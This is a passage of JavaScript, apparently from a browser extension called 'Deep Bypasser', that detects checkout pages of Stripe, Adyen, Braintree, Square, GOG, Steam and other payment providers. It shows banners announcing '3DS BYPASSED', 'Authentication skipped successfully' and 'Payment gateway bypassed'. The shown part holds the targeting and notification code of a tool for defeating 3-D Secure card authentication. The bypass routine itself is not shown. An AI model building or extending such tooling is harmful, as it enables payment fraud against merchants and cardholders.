        activeBannerEntry.element.style.setProperty("top", nextTopOffset + "px", "important");
        nextTopOffset += activeBannerEntry.height + 8;
      }
    }
  }
  const bannerThemes = {
    success: {
      accent: "#00e5ff",
      accentRgb: "0,229,255",
      bg: "linear-gradient(135deg, #0a1628 0%, #0d2137 40%, #0a1628 100%)",
      icon: "✓",
      borderAlpha: 0.3,
      shadowAlpha: 0.2
    },
    error: {
      accent: "#ff3d71",
      accentRgb: "255,61,113",
      bg: "linear-gradient(135deg, #1a0a0a 0%, #2d1111 40%, #1a0a0a 100%)",
      icon: "✕",
      borderAlpha: 0.3,
      shadowAlpha: 0.2
    },
    warning: {
      accent: "#ffb300",
      accentRgb: "255,179,0",
      bg: "linear-gradient(135deg, #1a1400 0%, #2d2200 40%, #1a1400 100%)",
      icon: "⚠",
      borderAlpha: 0.35,
      shadowAlpha: 0.2
    },
    info: {
      accent: "#448aff",
      accentRgb: "68,138,255",
      bg: "linear-gradient(135deg, #0a0f28 0%, #0d1937 40%, #0a0f28 100%)",
      icon: "ℹ",
      borderAlpha: 0.3,
      shadowAlpha: 0.2
    },
    gog: {
      accent: "#ff4444",
      accentRgb: "255,68,68",
      bg: "linear-gradient(135deg, #1a0000 0%, #2d0000 40%, #1a0000 100%)",
      icon: "😇",
      borderAlpha: 0.5,
      shadowAlpha: 0.3
    },
    "3ds_success": {
      accent: "#00e5ff",
      accentRgb: "0,229,255",
      bg: "linear-gradient(135deg, #0a1628 0%, #0d2137 40%, #0a1628 100%)",
      icon: "️☠️",
      borderAlpha: 0.3,
      shadowAlpha: 0.2
    },
    "3ds_fail": {
      accent: "#ff3d71",
      accentRgb: "255,61,113",
      bg: "linear-gradient(135deg, #1a0a0a 0%, #2d1111 40%, #1a0a0a 100%)",
      icon: "️👽",
      borderAlpha: 0.3,
      shadowAlpha: 0.2
    }
  };
  function showStatusBanner({
    id: inputBannerId,
    theme = "success",
    title: bannerTitle = "",
    subtitle: bannerSubtitle = "",
    badge: bannerBadgeText = null,
    duration = 3000,
    position = "right"
  }) {
    if (window.top !== window.self) {
      return;
    }
    const bannerTheme = bannerThemes[theme] || bannerThemes.success;
    const bannerId = inputBannerId || "db-banner-" + Date.now();
    const existingBanner = document.getElementById(bannerId);
    if (existingBanner) {
      relayoutBannerStack(bannerId);
      existingBanner.remove();
    }
    const topOffset = (() => {
      let nextTopOffset = 20;
      const versionBanner = document.getElementById("deep-bypasser-version-banner");
      if (versionBanner) {
        try {
          const boundingRect = versionBanner.getBoundingClientRect();
          if (boundingRect.height > 0 && boundingRect.top < 60) {
            nextTopOffset = Math.max(nextTopOffset, boundingRect.bottom + 8);
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
      }
      for (const [, activeBannerEntry] of activeBannersMap) {
        if (activeBannerEntry.element && activeBannerEntry.element.parentNode) {
          nextTopOffset += activeBannerEntry.height + 8;
        }
      }
      return nextTopOffset;
    })();
    const bannerElement = document.createElement("div");
    bannerElement.id = bannerId;
    bannerElement.setAttribute("role", "alert");
    const bannerStyle = bannerElement.style;
    bannerStyle.setProperty("position", "fixed", "important");
    bannerStyle.setProperty("top", topOffset + "px", "important");
    bannerStyle.setProperty(position === "left" ? "left" : "right", "20px", "important");
    bannerStyle.setProperty(position === "left" ? "right" : "left", "auto", "important");
    bannerStyle.setProperty("z-index", String(2147483647), "important");
    bannerStyle.setProperty("min-width", "340px", "important");
    bannerStyle.setProperty("max-width", "420px", "important");
    bannerStyle.setProperty("border-radius", "12px", "important");
    bannerStyle.setProperty("overflow", "hidden", "important");
    bannerStyle.setProperty("background", bannerTheme.bg, "important");
    bannerStyle.setProperty(
      "border",
      "1px solid rgba(" + bannerTheme.accentRgb + "," + bannerTheme.borderAlpha + ")",
      "important"
    );
    bannerStyle.setProperty(
      "box-shadow",
      "0 8px 32px rgba(" +
        bannerTheme.accentRgb +
        "," +
        bannerTheme.shadowAlpha +
        "), 0 0 0 1px rgba(" +
        bannerTheme.accentRgb +
        ",0.1)",
      "important"
    );
    bannerStyle.setProperty(
      "font-family",
      '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif',
      "important"
    );
    bannerStyle.setProperty("opacity", "1", "important");
    bannerStyle.setProperty("visibility", "visible", "important");
    bannerStyle.setProperty("margin", "0", "important");
    bannerStyle.setProperty("padding", "0", "important");
    bannerStyle.setProperty("box-sizing", "border-box", "important");
    bannerStyle.setProperty("transform", "translateX(0)", "important");
    bannerStyle.setProperty(
      "transition",
      "top 0.3s ease, transform 0.3s ease, opacity 0.3s ease",
      "important"
    );
    const glowOverlay = document.createElement("div");
    const glowOverlayStyle = glowOverlay.style;
    glowOverlayStyle.setProperty("position", "absolute", "important");
    glowOverlayStyle.setProperty("top", "-50%", "important");
    glowOverlayStyle.setProperty("left", "-50%", "important");
    glowOverlayStyle.setProperty("width", "200%", "important");
    glowOverlayStyle.setProperty("height", "200%", "important");
    glowOverlayStyle.setProperty(
      "background",
      "radial-gradient(circle at 50% 50%, rgba(" +
        bannerTheme.accentRgb +
        ",0.08) 0%, transparent 60%)",
      "important"
    );
    glowOverlayStyle.setProperty("pointer-events", "none", "important");
    bannerElement.appendChild(glowOverlay);
    const contentRow = document.createElement("div");
    const contentRowStyle = contentRow.style;
    contentRowStyle.setProperty("position", "relative", "important");
    contentRowStyle.setProperty("z-index", "2", "important");
    contentRowStyle.setProperty("display", "flex", "important");
    contentRowStyle.setProperty("align-items", "center", "important");
    contentRowStyle.setProperty("gap", "14px", "important");
    contentRowStyle.setProperty("padding", "16px 18px", "important");
    const iconElement = document.createElement("div");
    iconElement.textContent = bannerTheme.icon;
    const iconStyle = iconElement.style;
    iconStyle.setProperty("font-size", "26px", "important");
    iconStyle.setProperty("line-height", "1", "important");
    iconStyle.setProperty(
      "filter",
      "drop-shadow(0 0 8px rgba(" + bannerTheme.accentRgb + ",0.6))",
      "important"
    );
    iconStyle.setProperty("flex-shrink", "0", "important");
    const textContainer = document.createElement("div");
    textContainer.style.setProperty("flex", "1", "important");
    textContainer.style.setProperty("min-width", "0", "important");
    const titleElement = document.createElement("div");
    titleElement.textContent = bannerTitle;
    const titleStyle = titleElement.style;
    titleStyle.setProperty("font-size", "14px", "important");
    titleStyle.setProperty("font-weight", "800", "important");
    titleStyle.setProperty("letter-spacing", "1.2px", "important");
    titleStyle.setProperty("text-transform", "uppercase", "important");
    titleStyle.setProperty("color", bannerTheme.accent, "important");
    titleStyle.setProperty(
      "text-shadow",
      "0 0 12px rgba(" + bannerTheme.accentRgb + ",0.5)",
      "important"
    );
    titleStyle.setProperty("line-height", "1.3", "important");
    const subtitleElement = document.createElement("div");
    subtitleElement.textContent = bannerSubtitle;
    const subtitleStyle = subtitleElement.style;
    subtitleStyle.setProperty("font-size", "12px", "important");
    subtitleStyle.setProperty("color", "rgba(255,255,255,0.6)", "important");
    subtitleStyle.setProperty("margin-top", "3px", "important");
    subtitleStyle.setProperty("line-height", "1.3", "important");
    subtitleStyle.setProperty("word-break", "break-word", "important");
    textContainer.appendChild(titleElement);
    textContainer.appendChild(subtitleElement);
    let badgeElement = null;
    if (bannerBadgeText != null) {
      badgeElement = document.createElement("div");
      badgeElement.textContent = bannerBadgeText;
      const badgeStyle = badgeElement.style;
      badgeStyle.setProperty("flex-shrink", "0", "important");
      badgeStyle.setProperty("padding", "4px 10px", "important");
      badgeStyle.setProperty("border-radius", "6px", "important");
      badgeStyle.setProperty("font-size", "13px", "important");
      badgeStyle.setProperty("font-weight", "700", "important");
      badgeStyle.setProperty("font-family", "'SF Mono', 'Fira Code', monospace", "important");
      badgeStyle.setProperty("color", "#0a1628", "important");
      badgeStyle.setProperty("background", bannerTheme.accent, "important");
      badgeStyle.setProperty(
        "box-shadow",
        "0 0 12px rgba(" + bannerTheme.accentRgb + ",0.4)",
        "important"
      );
    }
    const closeButton = document.createElement("button");
    closeButton.innerHTML = "×";
    closeButton.setAttribute("aria-label", "Close");
    closeButton.setAttribute("type", "button");
    const closeButtonStyle = closeButton.style;
    closeButtonStyle.setProperty("flex-shrink", "0", "important");
    closeButtonStyle.setProperty("width", "22px", "important");
    closeButtonStyle.setProperty("height", "22px", "important");
    closeButtonStyle.setProperty("background", "rgba(255,255,255,0.08)", "important");
    closeButtonStyle.setProperty("border", "1px solid rgba(255,255,255,0.1)", "important");
    closeButtonStyle.setProperty("border-radius", "6px", "important");
    closeButtonStyle.setProperty("color", "rgba(255,255,255,0.5)", "important");
    closeButtonStyle.setProperty("font-size", "16px", "important");
    closeButtonStyle.setProperty("line-height", "1", "important");
    closeButtonStyle.setProperty("cursor", "pointer", "important");
    closeButtonStyle.setProperty("display", "flex", "important");
    closeButtonStyle.setProperty("align-items", "center", "important");
    closeButtonStyle.setProperty("justify-content", "center", "important");
    closeButtonStyle.setProperty("padding", "0", "important");
    closeButtonStyle.setProperty("transition", "background 0.2s, color 0.2s", "important");
    closeButton.addEventListener("mouseenter", () => {
      closeButton.style.setProperty("background", "rgba(255,255,255,0.15)", "important");
      closeButton.style.setProperty("color", "rgba(255,255,255,0.9)", "important");
    });
    closeButton.addEventListener("mouseleave", () => {
      closeButton.style.setProperty("background", "rgba(255,255,255,0.08)", "important");
      closeButton.style.setProperty("color", "rgba(255,255,255,0.5)", "important");
    });
    closeButton.addEventListener("click", event => {
      event.stopPropagation();
      removeStatusBanner(bannerElement, bannerId);
    });
    contentRow.appendChild(iconElement);
    contentRow.appendChild(textContainer);
    if (badgeElement) {
      contentRow.appendChild(badgeElement);
    }
    contentRow.appendChild(closeButton);
    bannerElement.appendChild(contentRow);
    const progressTrack = document.createElement("div");
    progressTrack.style.setProperty("height", "3px", "important");
    progressTrack.style.setProperty("background", "rgba(255,255,255,0.05)", "important");
    const progressBar = document.createElement("div");
    progressBar.style.setProperty("height", "100%", "important");
    progressBar.style.setProperty("width", "0%", "important");
    progressBar.style.setProperty(
      "background",
      "linear-gradient(90deg, rgba(" +
        bannerTheme.accentRgb +
        ",0.4), rgba(" +
        bannerTheme.accentRgb +
        ",0.8))",
      "important"
    );
    progressBar.style.setProperty("border-radius", "0 0 12px 12px", "important");
    progressTrack.appendChild(progressBar);
    bannerElement.appendChild(progressTrack);
    const bannerHost = document.body || document.documentElement;
    if (!bannerHost) {
      return;
    }
    bannerHost.appendChild(bannerElement);
    ((activeBannerId, element) => {
      const height = element.getBoundingClientRect().height || 70;
      const elementInfo = {
        element,
        height
      };
      activeBannersMap.set(activeBannerId, elementInfo);
    })(bannerId, bannerElement);
    if (!bannerPerfSettings.reduceAnimations) {
      bannerElement.style.setProperty(
        "transform",
        position === "left" ? "translateX(-120%)" : "translateX(120%)",
        "important"
      );
      bannerElement.style.setProperty("opacity", "0", "important");
      requestAnimationFrame(() => {
        requestAnimationFrame(() => {
          bannerElement.style.setProperty("transform", "translateX(0)", "important");
          bannerElement.style.setProperty("opacity", "1", "important");
        });
      });
    }
    const animationStartAt = Date.now();
    let _rafId;
    const showStatusBannerCallback = () => {
      const elapsedTime = Date.now() - animationStartAt;
      const progressPercentage = Math.min(100, (elapsedTime / duration) * 100);
      progressBar.style.setProperty("width", progressPercentage + "%", "important");
      if (progressPercentage < 100 && bannerElement.parentNode) {
        _rafId = requestAnimationFrame(showStatusBannerCallback);
      }
    };
    _rafId = requestAnimationFrame(showStatusBannerCallback);
    const closeTimeoutId = setTimeout(() => {
      removeStatusBanner(bannerElement, bannerId);
    }, duration);
    bannerElement._rafId = _rafId;
    bannerElement._closeTimeout = closeTimeoutId;
    return bannerElement;
  }
  function removeStatusBanner(element, bannerId) {
    if (element && element.parentNode) {
      if (element._rafId) {
        cancelAnimationFrame(element._rafId);
      }
      if (element._closeTimeout) {
        clearTimeout(element._closeTimeout);
      }
      if (bannerPerfSettings.reduceAnimations) {
        element.remove();
        relayoutBannerStack(bannerId);
      } else {
        element.style.setProperty("transform", "translateX(120%)", "important");
        element.style.setProperty("opacity", "0", "important");
        setTimeout(() => {
          if (element.parentNode) {
            element.remove();
          }
          relayoutBannerStack(bannerId);
        }, 300);
      }
    }
  }
  function createStripeBypassBanner(
    title = "Stripe Bypass",
    bannerType = "success",
    subtitleText = null
  ) {
    if (window.top !== window.self) {
      try {
        Boolean(window.top.location.href);
      } catch (error) {
        try {
          if (window.location.hostname.toLowerCase().includes("stripe.com")) {
            return;
          }
        } catch (innerError) {
          console.warn("[Deep Bypasser] Operation failed", innerError.message);
        }
      }
    }
    if (
      isBannerRecentlyShown(
        "top_" + title + "_" + bannerType + "_" + (subtitleText || "").substring(0, 50)
      )
    ) {
      return;
    }
    const isConfigSavedBanner =
      title.toLowerCase().includes("configuration saved") ||
      title.toLowerCase().includes("config saved");
    showStatusBanner({
      id: "stripe-bypass-banner",
      theme:
        {
          success: "success",
          warning: "warning",
          error: "error",
          info: "info"
        }[bannerType] || "success",
      title,
      subtitle: subtitleText || "Auto-closing in 3s",
      position: isConfigSavedBanner ? "left" : "right"
    });
  }
  function createAdyenBypassBanner(
    title = "Adyen Bypass",
    bannerType = "success",
    subtitleText = null
  ) {
    if (title.toLowerCase().includes("gog") || title.toLowerCase().includes("god mode")) {
      return createGogGodModeBanner(title);
    }
    return createStripeBypassBanner(title, bannerType, subtitleText);
  }
  function createGogGodModeBanner(title = "GOG + 3DS BYPASS — GOD MODE") {
    if (!isBannerRecentlyShown("gog_" + title)) {
      showStatusBanner({
        id: "gog-god-mode-banner",
        theme: "gog",
        title,
        subtitle: "Payment gateway bypassed",
        badge: "GOD",
        duration: 5000
      });
    }
  }
  function create3DSBypassBanner(isSuccess = true, detailMessage = "") {
    if (!isBannerRecentlyShown("3ds_" + isSuccess + "_" + detailMessage.substring(0, 30))) {
      showStatusBanner({
        id: "3ds-bypass-banner",
        theme: isSuccess ? "3ds_success" : "3ds_fail",
        title: isSuccess ? "3DS BYPASSED" : "3DS FAILED",
        subtitle:
          detailMessage ||
          (isSuccess ? "Authentication skipped successfully" : "Stripe rejected the request"),
        badge: isSuccess ? "200" : "400",
        duration: 4000
      });
    }
  }
  if (typeof window !== "undefined") {
    window.createStripeBypassBanner = createStripeBypassBanner;
    window.createAdyenBypassBanner = createAdyenBypassBanner;
    window.createGogGodModeBanner = createGogGodModeBanner;
    window.create3DSBypassBanner = create3DSBypassBanner;
    window.addEventListener("message", event => {
      if (event.data) {
        if (event.data.type !== "STRIPE_BYPASSER_3DS_BANNER") {
          if (
            event.data.type === "STRIPE_BYPASSER_SHOW_BANNER" ||
            event.data.type === "ADYEN_BYPASSER_SHOW_BANNER"
          ) {
            if (window.top !== window.self) {
              return;
            }
            const bannerCacheKey =
              event.data.bannerText +
              "_" +
              event.data.bannerType +
              "_" +
              (event.data.details || "");
            const now = Date.now();
            const lastBannerAt = bannerDedupeCache.get(bannerCacheKey);
            if (lastBannerAt && now - lastBannerAt < 2000) {
              return;
            }
            bannerDedupeCache.set(bannerCacheKey, now);
            for (const [bannerKey, shownAt] of bannerDedupeCache.entries()) {
              if (now - shownAt > 10000) {
                bannerDedupeCache.delete(bannerKey);
              }
            }
            if (event.data.type === "STRIPE_BYPASSER_SHOW_BANNER") {
              createStripeBypassBanner(
                event.data.bannerText || "Stripe Bypass",
                event.data.bannerType || "success",
                event.data.details || null
              );
            } else {
              createAdyenBypassBanner(
                event.data.bannerText || "Adyen Bypass",
                event.data.bannerType || "success",
                event.data.details || null
              );
            }
          }
        } else {
          if (window.top !== window.self) {
            return;
          }
          create3DSBypassBanner(event.data.success, event.data.details || "");
        }
      }
    });
  }
  let stripeDetectionCache = {
    stripePresent: null,
    stripeElements: null,
    stripeCheckout: null,
    stripeType: null,
    lastCheck: 0,
    cacheTTL: 5000
  };
  function hasStripeConstructor() {
    try {
      return (
        typeof window !== "undefined" &&
        (typeof window.Stripe === "function" || window.Stripe !== undefined)
      );
    } catch (error) {
      return false;
    }
  }
  function hasStripeScriptTag() {
    if (typeof document === "undefined") {
      return false;
    }
    try {
      const matchingElements = document.querySelectorAll("script[src]");
      for (const elementNode of matchingElements) {
        const elementNodeSrc = elementNode.src || "";
        if (
          elementNodeSrc.includes("js.stripe.com") ||
          elementNodeSrc.includes("stripe.com/v3") ||
          elementNodeSrc.includes("stripejs.com")
        ) {
          return true;
        }
      }
      return false;
    } catch (error) {
      return false;
    }
  }
  function hasStripeElementsIframe() {
    if (typeof document === "undefined") {
      return false;
    }
    try {
      return (
        document.querySelectorAll(
          'iframe[src*="js.stripe.com"], iframe[src*="elements.stripe.com"]'
        ).length > 0
      );
    } catch (error) {
      return false;
    }
  }
  function hasStripeDomMarkers() {
    if (typeof document === "undefined") {
      return false;
    }
    try {
      return (
        document.querySelectorAll(
          '[data-stripe], [id*="stripe"], [class*="stripe"], [class*="Stripe"], [data-testid*="stripe"], .StripeElement, #stripe-element, [id*="card-element"], [id*="cardElement"]'
        ).length > 0
      );
    } catch (error) {
      return false;
    }
  }
  function hasStripeCheckoutIframe() {
    if (typeof document === "undefined") {
      return false;
    }
    try {
      return (
        document.querySelectorAll(
          'iframe[src*="checkout.stripe.com"], iframe[src*="pay.stripe.com"]'
        ).length > 0
      );
    } catch (error) {
      return false;
    }
  }
  function isStripePresent() {
    const lastCheck = Date.now();
    if (
      stripeDetectionCache.stripePresent !== null &&
      lastCheck - stripeDetectionCache.lastCheck < stripeDetectionCache.cacheTTL
    ) {
      return stripeDetectionCache.stripePresent;
    }
    const stripePresent =
      (() => {
        if (typeof window === "undefined" || !window.location) {
          return false;
        }
        const hostname = window.location.hostname.toLowerCase();
        return (
          hostname.includes("stripe.com") ||
          hostname.includes("stripe.network") ||
          hostname === "checkout.stripe.com" ||
          hostname === "invoice.stripe.com" ||
          hostname === "pay.stripe.com"
        );
      })() ||
      hasStripeConstructor() ||
      hasStripeScriptTag() ||
      hasStripeElementsIframe() ||
      hasStripeDomMarkers() ||
      hasStripeCheckoutIframe() ||
      (() => {
        if (typeof document === "undefined") {
          return false;
        }
        try {
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            const elementNodeSrc = elementNode.src || "";
            if (
              elementNodeSrc.includes("checkout.com") ||
              elementNodeSrc.includes("api.checkout.com") ||
              elementNodeSrc.includes("cdn.checkout.com")
            ) {
              return true;
            }
          }
          return (
            document.querySelectorAll(
              'iframe[src*="checkout.com"], iframe[src*="api.checkout.com"]'
            ).length > 0
          );
        } catch (error) {
          return false;
        }
      })();
    stripeDetectionCache.stripePresent = stripePresent;
    stripeDetectionCache.lastCheck = lastCheck;
    if (stripePresent && stripeBypasserLogger) {
      stripeBypasserLogger.log("[StripeDetector] Stripe detected on page");
    }
    return stripePresent;
  }
  function isStripeElementsPresent() {
    const lastCheck = Date.now();
    if (
      stripeDetectionCache.stripeElements !== null &&
      lastCheck - stripeDetectionCache.lastCheck < stripeDetectionCache.cacheTTL
    ) {
      return stripeDetectionCache.stripeElements;
    }
    const stripeElements =
      hasStripeElementsIframe() ||
      hasStripeDomMarkers() ||
      (hasStripeConstructor() && hasStripeDomMarkers());
    stripeDetectionCache.stripeElements = stripeElements;
    stripeDetectionCache.lastCheck = lastCheck;
    return stripeElements;
  }
  function isStripeCheckoutPresent() {
    const lastCheck = Date.now();
    if (
      stripeDetectionCache.stripeCheckout !== null &&
      lastCheck - stripeDetectionCache.lastCheck < stripeDetectionCache.cacheTTL
    ) {
      return stripeDetectionCache.stripeCheckout;
    }
    const hostnameLower =
      typeof window !== "undefined" && window.location
        ? window.location.hostname.toLowerCase()
        : "";
    const stripeCheckout =
      hostnameLower === "checkout.stripe.com" ||
      hostnameLower === "invoice.stripe.com" ||
      hostnameLower === "pay.stripe.com" ||
      hasStripeCheckoutIframe();
    stripeDetectionCache.stripeCheckout = stripeCheckout;
    stripeDetectionCache.lastCheck = lastCheck;
    return stripeCheckout;
  }
  function clearCache() {
    stripeDetectionCache = {
      stripePresent: null,
      stripeElements: null,
      stripeCheckout: null,
      stripeType: null,
      lastCheck: 0,
      cacheTTL: 5000
    };
  }
  if (typeof window !== "undefined") {
    window.StripeBypasserDetector = {
      isStripePresent,
      isStripeElementsPresent,
      isStripeCheckoutPresent,
      detectStripeType() {
        const lastCheck = Date.now();
        if (
          stripeDetectionCache.stripeType !== null &&
          lastCheck - stripeDetectionCache.lastCheck < stripeDetectionCache.cacheTTL
        ) {
          return stripeDetectionCache.stripeType;
        }
        const hasStripeElements = isStripeElementsPresent();
        const hasStripeCheckout = isStripeCheckoutPresent();
        const hasStripeConstructorScript = hasStripeConstructor() || hasStripeScriptTag();
        let stripeType = null;
        if (hasStripeCheckout && hasStripeElements) {
          stripeType = "mixed";
        } else if (hasStripeCheckout) {
          stripeType = "checkout";
        } else if (hasStripeElements) {
          stripeType = "elements";
        } else if (hasStripeConstructorScript) {
          stripeType = "api";
        }
        stripeDetectionCache.stripeType = stripeType;
        stripeDetectionCache.lastCheck = lastCheck;
        return stripeType;
      },
      clearCache,
      forceRedetection() {
        clearCache();
        return isStripePresent();
      }
    };
  }
  let versionBannerPerfSettings = {
    hardwareAcceleration: true,
    reduceAnimations: false
  };
  function syncVersionBannerSettings() {
    if (window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) {
      versionBannerPerfSettings = {
        hardwareAcceleration:
          window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__.hardwareAcceleration !== false,
        reduceAnimations: window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__.reduceAnimations === true
      };
    }
  }
  syncVersionBannerSettings();
  let isBannerCreating = false;
  const DEEP_BYPASSER_BANNER_VERSION = "2.7";
  function createDeepBypasserVersionBanner(versionString = DEEP_BYPASSER_BANNER_VERSION) {
    if (typeof window === "undefined") {
      return;
    }
    if (window.top !== window.self) {
      return;
    }
    try {
      if (window.frameElement !== null || window.parent !== window) {
        return;
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    if (
      !isStripePresent() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          if (window.location && window.location.hostname) {
            const hostname = window.location.hostname.toLowerCase();
            if (
              hostname.includes("squareup.com") ||
              hostname.includes("checkout.square.site") ||
              hostname.includes("square.site")
            ) {
              return true;
            }
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            const elementNodeSrc = elementNode.src || "";
            if (
              elementNodeSrc.includes("squareup.com") ||
              elementNodeSrc.includes("squarecdn.com") ||
              elementNodeSrc.includes("square.js")
            ) {
              return true;
            }
          }
          const iframeElements = document.querySelectorAll("iframe[src]");
          for (const elementNode of iframeElements) {
            const elementNodeSrc = elementNode.src || "";
            if (
              elementNodeSrc.includes("squareup.com") ||
              elementNodeSrc.includes("checkout.square.site")
            ) {
              return true;
            }
          }
          return !!window.Square || !!window.SquarePayments || !!window.square;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          if (window.location && window.location.hostname) {
            const hostname = window.location.hostname.toLowerCase();
            if (hostname.includes("braintree") || hostname.includes("braintreegateway.com")) {
              return true;
            }
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            const elementNodeSrc = elementNode.src || "";
            if (
              elementNodeSrc.includes("braintree") ||
              elementNodeSrc.includes("braintreegateway.com") ||
              elementNodeSrc.includes("braintree-api.com")
            ) {
              return true;
            }
          }
          const iframeElements = document.querySelectorAll("iframe[src]");
          for (const elementNode of iframeElements) {
            const elementNodeSrc = elementNode.src || "";
            if (
              elementNodeSrc.includes("braintree") ||
              elementNodeSrc.includes("braintreegateway.com")
            ) {
              return true;
            }
          }
          return !!window.braintree || !!window.Braintree || !!window.braintreeClient;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          if (window.location && window.location.hostname) {
            const hostname = window.location.hostname.toLowerCase();
            if (
              hostname.includes("checkout.steampowered.com") ||
              hostname.includes("steampowered.com")
            ) {
              return true;
            }
          }
          return false;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          if (window.location && window.location.hostname) {
            const hostname = window.location.hostname.toLowerCase();
            const pathname = window.location.pathname.toLowerCase();
            const pageUrl = window.location.href.toLowerCase();
            if (
              hostname.includes("gog.com") &&
              (pathname.includes("/checkout") ||
                pathname.includes("/payment") ||
                pageUrl.includes("/checkout/"))
            ) {
              return true;
            }
          }
          return (
            !!window.location &&
            !!window.location.hostname &&
            !!window.location.hostname.toLowerCase().includes("api.gog.com")
          );
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          const currentHostname = window.location?.hostname || "";
          if (currentHostname.toLowerCase().includes("smart-glocal.com")) {
            return true;
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            if ((elementNode.src || "").includes("smart-glocal.com")) {
              return true;
            }
          }
          const iframeElements = document.querySelectorAll("iframe[src]");
          for (const elementNode of iframeElements) {
            if ((elementNode.src || "").includes("smart-glocal.com")) {
              return true;
            }
          }
          return false;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          if (window.location && window.location.hostname) {
            const hostname = window.location.hostname.toLowerCase();
            if (
              hostname.includes("edfapay.com") ||
              hostname.includes("pay.edfapay.com") ||
              hostname.includes("api.edfapay.com")
            ) {
              return true;
            }
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            if ((elementNode.src || "").includes("edfapay.com")) {
              return true;
            }
          }
          const iframeElements = document.querySelectorAll("iframe[src]");
          for (const elementNode of iframeElements) {
            if ((elementNode.src || "").includes("edfapay.com")) {
              return true;
            }
          }
          return false;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          const hostname = (window.location.hostname || "").toLowerCase();
          if (hostname.includes("hipay.com") || hostname.includes("hipay-tpp.com")) {
            return true;
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            if ((elementNode.src || "").includes("hipay")) {
              return true;
            }
          }
          return false;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          const hostname = (window.location.hostname || "").toLowerCase();
          if (hostname.includes("paddle.com") || hostname.includes("paddle.net")) {
            return true;
          }
          if (window.Paddle !== undefined) {
            return true;
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            if (
              (elementNode.src || "").includes("paddle.com") ||
              (elementNode.src || "").includes("paddle.net")
            ) {
              return true;
            }
          }
          return false;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          const hostname = (window.location.hostname || "").toLowerCase();
          if (hostname.includes("xsolla.com") || hostname.includes("xsolla.net")) {
            return true;
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            if ((elementNode.src || "").includes("xsolla")) {
              return true;
            }
          }
          return false;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          const hostname = (window.location.hostname || "").toLowerCase();
          return (
            !!hostname.includes("nordcheckout.com") ||
            !!hostname.includes("nordvpn.com") ||
            !!hostname.includes("nordsec.com")
          );
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          if ((window.location.hostname || "").toLowerCase().includes("checkout.com")) {
            return true;
          }
          if (window.Frames !== undefined) {
            return true;
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            if ((elementNode.src || "").includes("checkout.com")) {
              return true;
            }
          }
          return false;
        } catch (error) {
          return false;
        }
      })() &&
      !(() => {
        if (typeof window === "undefined" || typeof document === "undefined") {
          return false;
        }
        try {
          const hostname = (window.location.hostname || "").toLowerCase();
          if (hostname.includes("adyen.com") || hostname.includes("adyenpayments.com")) {
            return true;
          }
          if (window.AdyenCheckout !== undefined) {
            return true;
          }
          const matchingElements = document.querySelectorAll("script[src]");
          for (const elementNode of matchingElements) {
            if ((elementNode.src || "").includes("adyen")) {
              return true;
            }
          }
          return false;
        } catch (error) {
          return false;
        }
      })()
    ) {
      try {
        const matchingElement = document.getElementById("deep-bypasser-version-banner");
        if (matchingElement) {
          matchingElement.remove();
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
      return;
    }
    if (
      !(() => {
        try {
          if (typeof window !== "undefined" && window.StripeBypasserSettings) {
            try {
              const settingsSnapshot = window.StripeBypasserSettings.get();
              if (settingsSnapshot && settingsSnapshot.enabled === false) {
                return false;
              }
            } catch (error) {
              console.warn("[Deep Bypasser] Operation failed", error.message);
            }
          }
          return (
            typeof window === "undefined" ||
            !window.__STRIPE_BYPASSER_SETTINGS__ ||
            window.__STRIPE_BYPASSER_SETTINGS__.enabled !== false
          );
        } catch (error) {
          return true;
        }
      })()
    ) {
      const matchingElement = document.getElementById("deep-bypasser-version-banner");
      if (matchingElement) {
        matchingElement.remove();
      }
      return;
    }
    if (!document.getElementById("deep-bypasser-version-banner") && !isBannerCreating) {
      isBannerCreating = true;
      if (document.readyState !== "loading" && document.body) {
        renderVersionBanner();
      } else if (document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", renderVersionBanner, {
          once: true
        });
      } else {
        let domObserver = null;
        let domReadyTimer = null;
        try {
